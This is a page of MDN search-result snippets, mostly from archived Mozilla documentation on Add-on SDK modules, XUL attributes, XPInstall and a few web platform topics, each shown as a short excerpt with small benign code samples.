this will allow it to appear below the sourcegraphic implementation of more primitives <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> </filter> <femerge> <femergenode in="offsetblur"/> <femergenode in="sourcegraphic"/> </femerge> </defs> ...
Certificate Transparency - Web security
in
this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight.
...
this serves as a proof that the certificate has been submitted and will be added to the log.
...
this can be accomplished via a number of different mechanisms: x.509v3 certificate extension which embeds signed certificate timestamps directly into the leaf certificate a tls extension of type signed_certificate_timestamp sent during the handshake ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist with one or more scts with the x.509 certificate extension, the included scts are decided by the issuing ca.
... there should be no need for web servers to be modified if
this mechanism is used.
Web Components
this has traditionally not been so easy for custom markup structures — think of the complex html (and associated style and script) you've sometimes had to write to render custom ui controls, and how using them multiple times can turn your page into a mess if you are not careful.
...in
this way, you can keep an element's features private, so they can be scripted and styled without the fear of collision with other parts of the document.
... the basic approach for implementing a web component generally looks something like
this: create a class in which you specify your web component functionality, using the ecmascript 2015 class syntax (see classes for more information).
...
this does not include nodes in shadow trees if the shadow root was created with shadowroot.mode closed.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
support for
this will hopefully be available in the future.
...
this feature controls how serializing the constructed output document works.
...while we could try to add some heuristics to serialize and reparse just the part of the output document which has disable-output-escaping applied, heuristics often get things wrong and lead to surprising results, hence we've been reluctant to add
this so far.
... often times stylesheets contain code like <xsl:text disable-output-escaping="yes"> </xsl:text>,
this is equivalent to simply putting   in the stylesheet which will work great in all xslt engines.
Cross-domain Content Scripts - Archive of obsolete content
this feature is currently only available for content scripts, not for page scripts included in html files shipped with your add-on.
..."wikipedia" src="http://en.m.wikipedia.org/"></iframe> </body> </html> the "page-script.js" file locates "today's featured article" and sends its content to "main.js": // page-script.js var iframe = window.document.getelementbyid("wikipedia"); var todaysfeaturedarticle = iframe.contentwindow.document.getelementbyid("mp-tfa"); self.postmessage(todaysfeaturedarticle.textcontent); for
this to work, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://en.m.wikipedia.org/"] } the add-on should successfully retrieve the iframe's content.
...suppose your content script includes a line like: // content-script.js: unsafewindow.mycustomapi = function () {}; if you have included the "cross-domain-content" key, when the page script tries to access mycustomapi
this will result in a "permission denied" exception.
Communicating using "postMessage" - Archive of obsolete content
handling message events in the content script to send a message from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage);
this takes a single parameter, the message payload, which may be any json-serializable value.
... to receive a message from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all event-registration functions,
this takes two parameters: the name of the event, and the handler function.
...to simplify
this most content modules provide an onmessage property as an argument to the constructor: panel = require("sdk/panel").panel({ onmessage: function(contentscriptmessage) { // handle message from the content script } }); message events versus user-defined events you can use message events as an alternative to user-defined events: var pagemodscript = "window.addeventlistener('mouseover', fu...
addon-page - Archive of obsolete content
note:
this module has no effect on fennec.
... for pages like
this, navigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract from the content you are presenting.
...after
this, the page loaded from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.url("index.html"));
this only affects the page at "data/index.html": all other pages are displayed normally.
indexed-db - Archive of obsolete content
for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do
this.
... example
this example uses the action button api, which is only available from firefox 29 onwards.
...mlist); } open("1"); var add = require("sdk/ui/button/action").actionbutton({ id: "add", label: "add", icon: "./add.png", onclick: function() { additem(require("sdk/tabs").activetab.title); } }); var list = require("sdk/ui/button/action").actionbutton({ id: "list", label: "list", icon: "./list.png", onclick: function() { getitems(listitems); } }); note that to run
this add-on you'll need to provide icons named "add.png" and "list.png" in the add-on's "data" directory.
timers - Archive of obsolete content
returns integer : an id that can later be used to undo
this scheduling, if callback hasn't yet been called.
... example var { settimeout, cleartimeout } = require("sdk/timers"); var id = settimeout(function() { // do something in 1 sec }, 1000); // to stop/cancel
this timeout cleartimeout(id); setinterval(callback, ms) schedules callback to be called repeatedly every ms milliseconds.
... example var { setinterval, clearinterval } = require("sdk/timers"); var id = setinterval(function() { // do something every 1 sec // to stop/cancel
this interval clearinterval(id); }, 1000); ...
chrome - Archive of obsolete content
if you use
this api you can expect your add-on to get an extra security review by addons.mozilla.org.
...
this module should not be confused with the "chrome" global variable that webextensions can use to access apis.
... you can see an example of using
this api in the xul migration guide.
frame/hidden-frame - Archive of obsolete content
this is useful in the construction of apis that load web content not intended to be directly seen or accessed by users, like page-worker.
... the following code creates a hidden frame, loads a web page into it, and then logs its title: var hiddenframes = require("sdk/frame/hidden-frame"); let hiddenframe = hiddenframes.add(hiddenframes.hiddenframe({ onready: function() {
this.element.contentwindow.location = "http://www.mozilla.org/"; let self =
this;
this.element.addeventlistener("domcontentloaded", function() { console.log(self.element.contentdocument.title); }, true, true); } })); see the panel module for a real-world example of usage of
this module.
... events ready
this event is emitted when the dom for a hidden frame content is ready.
places/history - Archive of obsolete content
usage
this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation.
...cond query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from
this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
... arguments object :
this is an object representing a history entry.
system/events - Archive of obsolete content
data refers to a string that you would like to pass through
this event.
... subject should refer to the actual actor/subject of
this event (ie: the object emitting the event).
...
this object has three attributes: type: the event type name subject: the event subject object data: the event data string strong : boolean default is false, a weak reference, which means it can be garbage collected at any time if there are no other references to it.
test/httpd - Archive of obsolete content
this module was removed in firefox 36, please use the addon-httpd npm module instead.
... usage the most basic usage is: var { startserverasync } = require("sdk/test/httpd"); var srv = startserverasync(port, basepath); require("sdk/system/unload").when(function cleanup() { srv.stop(function() { // you should continue execution from
this point.
... }) });
this starts a server in background (assuming you're running
this code in an application that has an event loop, such as firefox).
jpmignore - Archive of obsolete content
by using
this file you can let jpm know which files and directories you would like it to ignore when building a .xpi file with jpm xpi.
...for example: .* * !/data/** !/lib/** !/locale/** !/node_modules/** !/package.json !/icon.png !/icon64.png !/copying !/bootstrap.js !/install.rdf
this would include all editor backup files and similar in the whitelisted subdirectories, to avoid that you can append another blacklist after the whitelist.
...
this one would work for xemacs: .* * !/data/** !/lib/** !/locale/** !/node_modules/** !/package.json !/icon.png !/icon64.png !/copying !/bootstrap.js !/install.rdf *~ \#* ...
Adding a Button to the Toolbar - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
...
this is just like the action button api except it adds a boolean checked property which is toggled whenever the button is checked.
...for more details on
this, see the toggle button's documentation.
Logging - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
... but note that by default, calls to console.log() will not result in any output in the error console for any installed add-ons:
this includes add-ons installed using the add-on builder or using tools like the extension auto-installer.
... see "logging levels" in the console reference documentation for more information on
this.
Boxes - Archive of obsolete content
this does not happen with xul box (or hbox and vbox) by default.
... however, you can easily add
this capability with a style change.
...
this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" st...
On page load - Archive of obsolete content
this article is for xul/javascript developers who want to have custom code executed each time a new page is loaded in browser/mail.
...to attach to the unload event in above example you can use the "pagehide" event like
this: appcontent.addeventlistener("pagehide", myextension.onpageunload, false); for appcontent and similarly for messagepane messagepane.addeventlistener("pagehide", myextension.onpageunload, false); and add your code to onpageunload method.
... if(gbrowser) gbrowser.addeventlistener("domcontentloaded",
this.onpageload, false); }, onpageload: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered the event var win = doc.defaultview; // win is the window for the doc // test desired conditions and do something // if (doc.nodename != "#document") return; // only documents // if (win != win.top) return; //only top window.
Scrollbar - Archive of obsolete content
this example shows how to style the scrollbars in your xul application.
... example assumes a structure like
this: app/chrome/chrome.manifest app/chrome/skin/global/ copy the scrollbars.css from xulrunner/chrome/classic.jar/skin/classic/global to app/chrome/skin/global/scrollbars.css open the app/chrome/chrome.manifest and add: skin app-global standard/1.0 skin/global/ override chrome://global/skin/xulscrollbars.css chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx.
... so to make
this work with osx, make an extra override: override chrome://global/skin/nativescrollbars.css chrome://app-global/skin/scrollbars.css change some color values inside the app/chrome/skin/global/scrollbars.css to test that the css is used.
Code snippets - Archive of obsolete content
this is a quick list of useful code snippets (small code samples) available for developers of extensions for the various mozilla applications.
...
this lets you access data in typed arrays using c-like string functions.
...
this snippets shows a possible way to start from.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
this practice is dangerous and will not, in fact, pass an amo review.
...
this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each script change.
... in
this case, javascript sandboxing should be used to isolate the downloaded javascript from the rest of the extension, and host application.
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to privileged code, such as tabbrowser and javascript modules, to interact with the application and content.
... prior to firefox 4, and the gecko 2 engine that powers it,
this was the only way to develop extensions.
...
this methodology has largely been superseded by restartless extensions, and the add-on sdk, which is built on top of them.
cert_override.txt - Archive of obsolete content
this file is used by firefox, thunderbird, and other xul-based applications.
...the syntax is described on
this web site.
...the key and the website are not valid: # psm certificate override settings file #
this is a generated file!
Using XML Data Islands in Mozilla - Archive of obsolete content
this feature is not based on multi-vendor web standards and is not supported in firefox (or other non-ie browsers).
...for example, a simple xml purchase order can be embedded like
this: <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like
this: var ordersource = document.getelementb...
...for
this demo, you must create an external document called purchase_order.xml: <!doctype html> <html> <head> <title>xml data block demo</title> <script> function rundemo() { var doc = document.getelementbyid("purchase-order").contentdocument; var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("htt...
Working with BFCache - Archive of obsolete content
for more info about
this, read how to use firefox caching.
...after that, only scripts running on other windows can touch
this window; if they modify the dom, the cached dom and window is thrown away.
... q: and to detect
this we use pagehide/pageshow, correct?
Kill the XUL.mfl file for good - Archive of obsolete content
this is meant to speed up the operation of mozilla, however in a fileserver based environment,
this can be problematic: at several megabytes a pop, these files will take up a considerable amount of space, because each user has his own...
...but creating a subdirectory named xul.mfl in mozilla's profile directory seems to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables
this (mis)feature).
...it seems that as of version 1.5, the xul.mfl file no longer is a problem, so
this part may be skipped if you have a recent enough mozilla version.
Protecting Mozilla's registry.dat file - Archive of obsolete content
however,
this issue is problematic, because: when the users logs in for the first time, windows 2000 apparently doesn't load the profile from the server...
... in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and
this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
... in order to prevent
this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script.
Building TransforMiiX standalone - Archive of obsolete content
this document is out of date.
...
this will pull the necessary subtree with mozilla/client.mk mozilla/build/unix/modules.mk mozilla/build mozilla/config mozilla/expat mozilla/extensions/transformiix mozilla/include mozilla/allmakefiles.sh mozilla/client.mk mozilla/aclocal.m4 mozilla/configure mozilla/configure.in mozilla/makefile.in plus nspr and xpcom from the cvs repository.
... original document information author: axel hecht last updated date: april 5, 2004 copyright information: portions of
this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license ...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
general decisions filename of dll must start with "np" (not "ns") and ends with ".dll" (i wasted hours on
this - repeatedly) mimetype reflects the data type handled by the plugin.
...
this is how webpages invoke your plugin.
... again note that the resulting dll filename must start with "np", so either call your project like
this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files").
Conclusion - Archive of obsolete content
to test it, try installing the extension on a fresh copy of mozilla by loading the file in your mozilla browser (
this works whether you load it from the web or from your local hard drive via a file:/// url).
...if the version you created in
this tutorial doesn't work, compare it to
this working version to help figure out the problem.
...
this extension can be installed into netscape 7 without problems.
Enabling the behavior - updating the status periodically - Archive of obsolete content
this allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or slowing down mozilla with requests.
... with
this code in place, restarting mozilla should cause the tinderbox status panel to display the current tinderbox state.
... to confirm
this state, go to tinderbox and verify that the panel displays the current worst state of active tinderbox clients.
Finding the code to modify - Archive of obsolete content
again, the dom inspector makes
this easy.
...
this is where we are going to add our tinderbox status ui.
... inspectorwidget the inspectorwidget extension adds a toolbar button and context menus for invoking the dom inspector (domi) for either chrome or content elements.thus
this makes it possible to save all the above dom inspector user interface diggings.
FAQ - Archive of obsolete content
when the mozilla developers make changes like
this, they increase the skin version number.
...
this is the number that is defined in contents.rdf.
... developers try to keep changes like
this to a minimum, but sometimes it just can't be helped.
Layout FAQ - Archive of obsolete content
is there a framework for
this?
...
this is a bug in firefox.
...
this function converts an nsastring to an nsacstring by assuming that all the 16-bit units are ascii and just dropping the high byte on them all.
Code snippets - Archive of obsolete content
this page documents how to perform custom actions with firefox sync via javascript.
... all of the in
this page must be executed in a chrome-privileged console.
...tabs from other computers
this snippet shows how to load all tabs from other computers.
GRE Registration - Archive of obsolete content
this information is stored differently on each operating system.
...
this document describes the registration mechanism.
...
this framework is installed either in /library/frameworks/xul.framework/versions/<version> or in ~/library/frameworks/xul.framework/versions/<version>.
HTTP Class Overview - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this document provides an overview of the classes used by the mozilla http implementation.
...che stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Me - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...note that
this mechanism is independent of the first-run page; in particular, the callback is not a load event listener or jquery ready callback.
...inside the function,
this is the jetpack's content.function example jetpack.me.onfirstrun(function(){ jetpack.notifications.show("oh boy, i'm installed!");}); ...
Metro browser chrome tests - Archive of obsolete content
running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro
this will launch metro browser chrome tests in the default immersive browser.
...a simple test looks like
this: gtests.push({ desc: "test loading about:blank", setup: function () { }, teardown: function () { }, run: function () { yield addtab("about:blank"); is(tab.browser.currenturi.spec, "about:blank", "about:blank is loaded"); } }); function test() { runtests(); } gtests contains individual tests that make up the library of tests your test file will contain.
...files that don't match
this pattern will be ignored by the test harness.
Overview of how downloads work - Archive of obsolete content
this document describes both codepaths (see below for the second one).
... downloads via the helper app service
this diagram is an uml sequence diagram, and was created using dia.
... get the .dia file here: mozilla_downloads.dia downloads via "save link target as" and friends
this diagram is an uml sequence diagram, and was created using dia.
Plug-n-Hack - Archive of obsolete content
configuring a browser to work with a security tool can be a non-trivial process, and
this can discourage people with less experience from using such tools.
...
this can include application developers and testers, exactly the sort of people we would like to use these tools more!
...plug-n-hack topics phase 1
this provides simplified integration and allows tools to advertize their capabilities to browsers phase 2
this will allow browsers to advertize their capabilities to security tools tools supporting pnh the browsers and tools known to support or be working on support for pnh get involved how to implement pnh in your tool or get involved with pnh development ...
Extensions - Archive of obsolete content
the code snippet will look something like
this: <em:targetapplication> <!– prism –> <description> <em:id>prism@developer.mozilla.org</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>1.0.0.*</em:maxversion> </description> </em:targetapplication> in addition to the install manifest changes, you may want to expose your extension into the prism ui.
...
this usually means extracting and editing the install.rdf file to add prism as a target application.
...using
this dialog, a user just launches a webapp and opens the add-ons dialog.
Styling - Archive of obsolete content
this file will be loaded into the web application content stylesheet and can override the web application's native styles.
...in
this scenario, the css file is specific to an os.
...
this allows prism webapps to take on an os-specific look.
Safely loading URIs - Archive of obsolete content
to solve
this problem, gecko provides methods that allow the caller to check whether it's safe to load a particular uri.
...there's no way to do
this completely securely in gecko versions prior to 1.8.0.4.
...
this boolean preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris.
Table Cellmap - Border Collapse - Archive of obsolete content
introduction
this document describes the additional information that is stored for border collapse tables in the cellmap.
...as one can see from the following illustration
this is enough to cover a whole table.
... if
this corner is a start for a horizontal segment, if
this corner is a start for a vertical segment, if
this corner should be beveled.
The Download Manager schema - Archive of obsolete content
this information is available using nsidownloadmanager methods to retrieve nsidownload objects for each download entry; however, if you feel like poking directly into the table, you can do so using the storage api.
...
this field is the primary key for the table.
...
this information is used to resume the download after it's been paused.
TraceVis - Archive of obsolete content
text summary python binlog.py /tmp/tracevis.log
this prints a summary of the log.
...visualization python vis.py /tmp/tracevis.log /tmp/tracevis.png
this creates a png format visualization of tracemonkey activities.
...the blog post linked above has examples of
this output and how to analyze it.
Mozilla Web Developer Community - Archive of obsolete content
tandards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial case for web standards a list apart, for people who make websites mozilla technology evangelism, get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at
this time.
... archived devedge newsletters are at http://devedge-temp.mozilla.org/community/news/ feeds recent changes rss feed warning:
this feed is updated very often.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to
this website (but not technical questions), please send your message to the mdc mailing list.
DOM Interfaces - Archive of obsolete content
this means that, depending on the details regarding the insertion points of the binding, it's possible that some non-anonymous nodes appear in the list.
... see "not so anonymous nodes" on mozilla.dev.platform for some discussion about
this.
...
this method enables an author to determine the scope of any content node.
Mac stub installer - Archive of obsolete content
to do
this, in addition to the above steps to set up the mac installer to debug you will need to do the following: create a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name form...
... add an <component>.jst install script template file (the jst extension stands for javascript template indicating
this is a template for the final install.js for the <component>.xpi.
...unfortunately, at the time of
this writing there is no convenient way to test an installer build like there is on unix (deliver.pl) and windows (build.pl).
Windows stub installer - Archive of obsolete content
this section needs to be added how do i add an installer package to the windows installer?
...the jst extension stands for javascript template indicating
this is a template for the final install.js for the <component>.xpi.
... other macro strings listed in makejs.pl can be found by searching for "version", which is one of the macro strings, until you find the line $line =~ s/\$version\$/$inversion/i; other macro strings are grouped in
this section.
Windows Install - Archive of obsolete content
windows install example
this example shows the installation of a xpi in which user profile information is contained.
...//
this function verifies disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } func...
...est; var err; var fprogram; srdest = 449; err = initinstall(prettyname, regname, "6.0.0.2000110801"); logcomment("initinstall: " + err); fprogram = getfolder("program"); logcomment("fprogram: " + fprogram); if(verifydiskspace(fprogram, srdest)) { setpackagefolder(fprogram); err = adddirectory("", "6.0.0.2000110801", "bin", // dir name in jar to extract fprogram, // where to put
this file // (returned from getfolder) "", // subdir name to create relative to fprogram true); // force flag logcomment("adddirectory() returned: " + err); // check return value if(err == success) { err = performinstall(); logcomment("performinstall() returned: " + err); } else cancelinstall(err); } else cancelinstall(insufficient_disk_space); // end m...
InstallVersion Object - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...overview
this object and its methods are used both when triggering a download, to see whether a particular version needs to be installed, and when installing the software.
getFolder - Archive of obsolete content
there are two sets of possible values for
this parameter.
...
this parameter is available in netscape 6 or later and may be case sensitive (depending on the operating system).
... example to get an object representing the standard plug-ins directory, you would use
this call: plugindir = getfolder("plugins"); ...
initInstall - Archive of obsolete content
this distinction is important when you add components with the addfile method.
...you must call
this method immediately after the constructor.
...example to start installation for the royal airways plug-in, you could use
this code: initinstall("royal airways tripplanner","/royalairways/ tripplanner","1.0.0.0"); ...
SVG And Canvas In Mozilla - Archive of obsolete content
to realize
this potential in web applications, browsers must expose rich new graphics apis to web content.
... the mozilla project will meet
this challenge with two major new features to be delivered in firefox 1.5: integrated svg and a new canvas html element.
...
this work provides additional benefits to web developers such as the ability to apply svg effects to html content.
afterselected - Archive of obsolete content
« xul reference home afterselected type: boolean
this is set to true if the tab is immediately after the currently selected tab.
...
this is automatically set when needed and you shouldn't adjust it manually.
...
this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab.
beforeselected - Archive of obsolete content
« xul reference home beforeselected type: boolean
this is set to true if the tab is immediately before the currently selected tab.
...
this is set automatically set when needed and you shouldn't adjust it manually.
...
this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab.
checkState - Archive of obsolete content
« xul reference home checkstate type: integer, values 0, 1, or 2
this attribute may be used to create three state buttons, numbered 0, 1 and 2.
...
this means that the button acts like a checkbox except that there is a third state which must be set manually by adjusting the check state.
...constants for the possible values for
this attribute are in the nsidomxulbuttonelement interface.
containment - Archive of obsolete content
« xul reference home containment type: uri
this attribute specifies rdf properties (an rdf predicate) that indicate that a resource is a container.
... when generating content from a template
this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.
...
this attribute should be placed on the same element that the datasources and the ref attribute is on.
currentset - Archive of obsolete content
this will be modified when the user customizes the toolbar.
... the value of
this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
...
this isn't necessary the *current* set, i.e.
datasources - Archive of obsolete content
this composite datasource is accesssible via a script through the database property.
... if you plan on adding a datasource to an element but don't want one to be added right away, set
this attribute to 'rdf:null'.
...
this will make the element so that its contents can be generated from a datasource.
defaultButton - Archive of obsolete content
« xul reference home defaultbutton type: string normally
this attribute should not be set, but if it is, it specifies the default button in the dialog.
... typically,
this means that the button will be activated when the enter key is pressed.
...
this should be set to one of the same values as those for the buttons attribute.
disableKeyNavigation - Archive of obsolete content
« xul reference home disablekeynavigation type: boolean if
this attribute is not used, the user can navigate to specific items within the element by pressing keys corresponding to letters in the item's label.
...
this is done incrementally, so typing more letters with select more specific items.
...
this feature may be disabled by setting
this attribute to true.
disableautoselect - Archive of obsolete content
« xul reference home disableautoselect type: boolean if
this attribute is true or omitted, the selected item on the menu will update to match what the user entered in the textbox.
...if
this attribute is false, the selection is never updated to match the text box.
...
this attribute applies only to editable menulists.
disablechrome - Archive of obsolete content
« xul reference home disablechrome type: boolean set
this attribute to true to disable chrome in the window.
...
this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing.
... note:
this has no effect if the tabs on top preference is turned off.
dlgtype - Archive of obsolete content
you can use
this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function.
...using
this attribute on a button that is not in a dialog box has no effect.
...
this might be a button or a disclosure triangle.
drawintitlebar - Archive of obsolete content
« xul reference home drawintitlebar type: boolean if
this attribute is true, the top of the window's content area will begin at the top edge of the title bar, instead of below the title bar.
...
this allows the window to draw in the title bar.
...
this is supported only from window elements, and is ignored on platforms that don't support drawing into the title bar.
equalsize - Archive of obsolete content
« xul reference home equalsize type: one of the values below
this attribute can be used to make the children of the element equal in size.
... always for a horizontally oriented element,
this will make all of its children have the width of the widest child.
... for a vertically oriented element,
this will make its children all have the height of the tallest child.
flags - Archive of obsolete content
two flags are defined, which may be the value of
this attribute.
... dont-build-content:
this flag may be used on a tree to indicate that content elements should not be generated.
...
this results in a performance enhancement, but you will not be able to use the dom functions to retrieve the tree rows.
icon - Archive of obsolete content
« xul reference home icon mozilla 1.8 type: string
this attribute should be used to set the usage for common buttons.
...
this should be used in place of the image attribute.
...if you are using a button that matches one of these common usages, use the icon attribute to indicate
this.
image.onload - Archive of obsolete content
« xul reference home image.onload type: script code
this event handler will be called on the image element when the image has finished loading.
...
this applies whether the image is applied via the src attribute or the list-style-image style property.
...
this event will not bubble up the element tree.
linkedpanel - Archive of obsolete content
if
this attribute is not used, the tab will be connected to the panel at the corresponding index in the tabpanels element that the tab is in its tabs container.
... however, if
this attribute is used,
this behavior is overridden, and the tab will always be linked to a specific panel.
...
this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select event.
mousethrough - Archive of obsolete content
if
this attribute is not specified, the value is inherited from the parent of the element.
...
this means that the element will not receive any mouse events due to either clicking or movement.
... child elements may override
this if they specify mousethrough="never".
next - Archive of obsolete content
« xul reference home next type: id set to the pageid of the next wizardpage after
this one.
... when set, the page with
this pageid is displayed when the next button is pressed.
...
this can be used to create wizards that do not have a linear sequence.
onpopupshowing - Archive of obsolete content
« xul reference home onpopupshowing type: script code
this event is sent to a popup just before it is opened.
...
this handler is usually used to dynamically set the contents when the user requests to display it.
... returning false from
this event handler prevents the popup from appearing.
popup.position - Archive of obsolete content
this allows you to place the popup on one side of a button.
... note that a context menu will never respect
this attribute, always appearing relative to the mouse cursor.
...
this value can be specified either as a single word offering pre-defined alignment positions, or as 2 words specifying exactly which part of the anchor and popup should be aligned.
ref - Archive of obsolete content
« xul reference home ref type: uri for template-generated elements,
this attribute is used to specify the root rdf node where content generation begins.
...
this will correspond to the value of an about attribute on an rdf container.
...
this attribute should be placed alongside the datasources attribute.
script.type - Archive of obsolete content
usually, you would set
this to application/javascript.
... note: if the javascript file is in chrome://, setting
this attribute to application/javascript will always use the latest available javascript version.
... if you omit
this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web content without specifying a version number).
sizetopopup - Archive of obsolete content
if the sizetopopup attribute is left out or set to none, the menu will be its preferred width and the popup may extend outside of
this width, unaffected by the maximum width of the menu itself.
...if the menu has a maximum width, the popup will also be
this width.
...
this is the default value for menulists.
statedatasource - Archive of obsolete content
this is used to hold which tree items are open and which items are collapsed.
...
this information will be remembered for the next time the xul file is opened.
... if you do not specify
this attribute, state information will be stored in the local store (rdf:local-store).
statustext - Archive of obsolete content
this attribute serves only as a place to keep the text.
... in firefox,
this text is automatically placed in the statusbar for menuitems on the menu bar.
... example <!-- sets the status message when mouse is over buttons --> <button label="connect" statustext="connect to remote server" onmouseover="setstatusmessage(
this)" onmouseout="clearstatusmessage()"/> <button label="ping" statustext="ping the server" onmouseover="setstatusmessage(
this)" onmouseout="clearstatusmessage()"/> <statusbar> <statusbarpanel id="mystatuspanel" label="" flex="1"/> <spacer flex="1"/> </statusbar> <script> function setstatusmessage(obj){ document.getelementbyid('mystatuspanel').label = obj.getattribute('statustext'); } function clearstatusmessage(obj){ document.getelementbyid('mystatuspanel').label = ''; } </script> see also statusbar and statusbarpanel ...
treecol.src - Archive of obsolete content
« xul reference home src type: uri set
this attribute to have the treecol element use an image for the header instead of a label.
...set
this to the url of an image to appear on the tree column header.
... if
this attribute is left out, no image appears and the label is used instead.
wait-cursor - Archive of obsolete content
« xul reference home wait-cursor type: boolean set
this attribute to true to have the cursor switch to a waiting cursor while the mouse is hovering over the element.
... usually, you would only use
this on the window element or other top-level elements.
... see also https://developer.mozilla.org/docs/talk:xul/attribute/wait-cursor
this seems to work instead of trying to set a wait-cursor attribute: window.setcursor('wait') and window.setcursor('auto') ...
windowtype - Archive of obsolete content
this might be used, for example, to distinguish between a browser window and an editor window.
... some of mozilla's window handling functions use
this attribute to group windows of the same type together.
... values for window type as found on mxr: http://mxr.mozilla.org/mozilla-release/search?string=windowtype navigator:browser - looks like if window has gbrowser it has
this window type devtools:scratchpad - scratchpad windows navigator:view-source - the view source windows ...
loadOneTab - Archive of obsolete content
this method works the same as addtab except for the loadinbackground parameter which allows you to choose whether to open the new tab in foreground or background.
...and if null or not specified,
this parameter will default to the browser.tabs.loadinbackground preference.
... firefox 3.6 note the second form of
this method was added in firefox 3.6; it adds the relatedtocurrent parameter, and allows the parameters to be specified by name, in any order.
loadURIWithFlags - Archive of obsolete content
in addition to the flags allowed for the reloadwithflags method, the following flags are also valid: load_flags_is_refresh:
this flag is used when the url is loaded because of a meta tag refresh or redirect.
... load_flags_is_link:
this flag is used when the url is loaded because a user clicked on a link.
...
this flag might be used for a redirect.
MoveResize - Archive of obsolete content
this method will change the left and top attributes to match the supplied arguments, so if these attributes are persisted the values will be restored when the window is displayed again.
...sometimes, a menu will be larger than the available space on the screen; in
this situation, the menu may be moved such that it will fit on screen.
...you can see
